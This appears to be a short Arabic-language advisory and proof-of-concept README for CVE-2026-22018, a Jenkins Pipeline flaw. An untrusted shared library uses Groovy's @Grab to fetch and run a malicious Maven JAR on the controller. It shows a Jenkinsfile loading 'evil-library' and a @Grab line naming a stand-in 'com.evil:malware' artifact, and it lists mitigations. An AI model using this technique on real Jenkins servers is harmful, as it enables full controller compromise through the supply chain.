CVE-2026-22018 – تنفيذ التعليمات البرمجية عبر المكتبة المشتركة في Jenkins Pipeline باستخدام @Grab

كود البرنامج (Groovy Pipeline)

// Jenkinsfile - loads untrusted shared library
@Library('evil-library@master') _
node {
    evilStep()
}

CVE-2026-22018 – تنفيذ التعليمات البرمجية عن بُعد عبر المكتبة المشتركة في Jenkins Pipeline

نظرة عامة

يقوم Jenkins Pipeline بتحميل مكتبة مشتركة من مصدر غير موثوق به تمامًا. تستخدم المكتبة التعليمة التوضيحية @Grab لتنزيل قطع أثرية خارجية من Maven، والتي قد تشتمل على فئة خبيثة تنفّذ التعليمات البرمجية على وحدة تحكم Jenkins أثناء تجميع Groovy.

تفاصيل الثغرة

• النوع: حقن كود / سلسلة توريد
• التأثير: اختراق كامل لوحدة تحكم Jenkins.
• السبب الجذري: تقوم التعليمة التوضيحية @Grab في Groovy بجلب وتحميل ملفات JAR عشوائية في وقت التشغيل؛ والمكتبات المشتركة غير معزولة داخل بيئة رملية (Sandbox).

عرض الاستغلال

قم بتكوين Pipeline بمكتبة غير موثوقة تحتوي على @Grab('com.evil:malware:1.0') في ملف vars/evilStep.groovy. وعند تشغيل Pipeline، يتم تنفيذ كتلة التهيئة الثابتة لملف JAR الخبيث.

التخفيف

• استخدم المكتبات المشتركة فقط من مستودعات SCM موثوقة وموقّعة.
• عطّل @Grab عبر إعدادات أمان البيئة الرملية (Sandbox) في Groovy.
• استخدم خيار “Load implicitly” في Pipeline بحذر.

التثبيت والاستخدام

git clone https://github.com/yourorg/CVE-2026-22018.git
cd CVE-2026-22018
# Set up Jenkins in a lab environment to test.